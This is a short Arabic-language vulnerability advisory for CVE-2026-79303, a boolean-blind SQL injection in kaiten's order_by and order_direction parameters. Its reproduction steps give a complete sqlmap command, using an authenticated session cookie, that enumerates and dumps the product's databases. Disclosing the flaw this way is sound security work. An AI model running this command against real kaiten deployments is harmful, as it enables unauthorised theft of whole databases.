CVE-2026-79303

حقن SQL أعمى (Boolean-blind SQL injection)

الوصف: يتم إنشاء عبارات SQL ديناميكية دون التحقق المطلوب من البيانات ودون استخدام عبارات مُعلمة أو إجراءات مخزنة.

الأثر: SQLi

متجه CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 حرج)

CWE: CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

المكوّن المتأثر: معاملات GET order_by و order_direction

البائع: kaiten

المنتج المتأثر

• إصدارات kaiten: 57.192.20 < 57.214.26

خطوات إعادة الإنتاج:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. اكتب n (لا تدمج ملف تعريف الارتباط الخاص بك مع ملف جديد) -> C